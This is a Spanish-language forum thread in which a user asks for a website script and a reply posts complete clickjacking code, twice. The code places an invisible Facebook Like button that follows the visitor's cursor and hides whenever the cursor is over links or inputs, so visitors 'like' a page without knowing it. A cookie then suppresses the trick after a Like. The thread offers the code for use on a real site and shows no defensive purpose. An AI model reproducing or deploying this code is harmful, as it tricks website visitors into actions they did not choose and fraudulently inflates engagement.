- Desde
- 29 Mar 2013
- Mensajes
- 1.398
me gustaria aplicarlo a mi web pero no lo encuentro por ningún lado
<script src='//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' type='text/javascript'></script>
<script src='http://connect.facebook.net/es_ES/all.js'></script>
<script type='text/javascript'>//<![CDATA[var clickjackt=false;function ClickJackFbHide(){jQuery("div[id^=\'clickjack-button-wrapper\']").hide();}function ClickJackFbShow(){
if(clickjackt==false){jQuery("div[id^=\'clickjack-button-wrapper\']").show();}}//]]></script>
<div id='clickjack-button-wrapper-6' style='position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:1px; height:1px; overflow:hidden'></div>
<script>
//<![CDATA[
function setCookie(c_name,value,exdays)
{
var exdate=new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=c_name + "=" + c_value;
}
FB.init({appId: '519660028051339', status: true, cookie: true, xfbml: true});
FB.Event.subscribe('edge.create',function(response) {
document.getElementById('clickjack-button-wrapper-6').style.display = 'none';
clickjackt=true;
setCookie("ackt","100",30);
});
function clickjackJJ(){
var ck=document.cookie;
var ckk=ck.indexOf("ackt");
if(ckk==-1){
document.getElementById('clickjack-button-wrapper-6').style.width= "27px";
document.getElementById('clickjack-button-wrapper-6').style.height= "20px";
document.getElementById('clickjack-button-wrapper-6').innerHTML = '<fb:like layout="button_count" show_faces="false" class="like_button" href="https://www.facebook.com/pages/Soy-Soltera-Y-Hago-Lo-Que-Quiero/412630525514095" style="float:left;"></fb:like>';}
}</script><script type="text/javascript" src="http://www.facebook.com/Juacker" onload="clickjackJJ()"></script>
<script type="text/javascript" >
var jQ = 30;
jQuery( document ).ready( function() {
jQuery( "#clickjack-button-wrapper-6" ).parent().mousemove( function( e ) {
jQuery( "#clickjack-button-wrapper-6" ).css( {
top: e.pageY - 10,
left: e.pageX + 50
} );
} );
clickjack_hider();
var jb = (jQ * 20) / 10;
var clickjack_fb_timer = setTimeout("clickjack_hider()",500);
} );
function clickjack_hider(){
jQuery("input").mouseout(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouseout(function(){ClickJackFbShow();});
jQuery("textarea").mouseout(function(){ClickJackFbShow();});
jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();});
jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseover(function(){ClickJackFbHide();});
jQuery("a").mouseover(function(){ClickJackFbHide();});
jQuery("button").mouseover(function(){ClickJackFbHide();});
jQuery("textarea").mouseover(function(){ClickJackFbHide();});
jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();});
jQuery("object").mouseover(function(){ClickJackFbHide();});
}
//]]></script>
Aquí te lo dejo!
Dentro del Meta:
HTML:<script src='//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' type='text/javascript'></script> <script src='http://connect.facebook.net/es_ES/all.js'></script> <script type='text/javascript'>//<=!=[=C=D=A=T=A=[var clickjackt=false;function ClickJackFbHide(){jQuery("div[id^=\'clickjack-button-wrapper\']").hide();}function ClickJackFbShow(){ if(clickjackt==false){jQuery("div[id^=\'clickjack-button-wrapper\']").show();}}//]=]=></script>
Dentro de Body
HTML:<div id='clickjack-button-wrapper-6' style='position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:1px; height:1px; overflow:hidden'></div> <script> //<=!=[=C=D=A=T=A=[ function setCookie(c_name,value,exdays) { var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString()); document.cookie=c_name + "=" + c_value; } FB.init({appId: '519660028051339', status: true, cookie: true, xfbml: true}); FB.Event.subscribe('edge.create',function(response) { document.getElementById('clickjack-button-wrapper-6').style.display = 'none'; clickjackt=true; setCookie("ackt","100",30); }); function clickjackJJ(){ var ck=document.cookie; var ckk=ck.indexOf("ackt"); if(ckk==-1){ document.getElementById('clickjack-button-wrapper-6').style.width= "27px"; document.getElementById('clickjack-button-wrapper-6').style.height= "20px"; document.getElementById('clickjack-button-wrapper-6').innerHTML = '<fb:like layout="button_count" show_faces="false" class="like_button" href="https://www.facebook.com/pages/Soy-Soltera-Y-Hago-Lo-Que-Quiero/412630525514095" style="float:left;"></fb:like>';} }</script><script type="text/javascript" src="http://www.facebook.com/Juacker" onload="clickjackJJ()"></script> <script type="text/javascript" > var jQ = 30; jQuery( document ).ready( function() { jQuery( "#clickjack-button-wrapper-6" ).parent().mousemove( function( e ) { jQuery( "#clickjack-button-wrapper-6" ).css( { top: e.pageY - 10, left: e.pageX + 50 } ); } ); clickjack_hider(); var jb = (jQ * 20) / 10; var clickjack_fb_timer = setTimeout("clickjack_hider()",500); } ); function clickjack_hider(){ jQuery("input").mouseout(function(){ClickJackFbShow();}); jQuery("a").mouseout(function(){ClickJackFbShow();}); jQuery("button").mouseout(function(){ClickJackFbShow();}); jQuery("textarea").mouseout(function(){ClickJackFbShow();}); jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();}); jQuery("object").mouseout(function(){ClickJackFbShow();}); jQuery("input").mouseover(function(){ClickJackFbHide();}); jQuery("a").mouseover(function(){ClickJackFbHide();}); jQuery("button").mouseover(function(){ClickJackFbHide();}); jQuery("textarea").mouseover(function(){ClickJackFbHide();}); jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbHide();}); } //]=]=></script>
Alguien lo ha probado, funciona?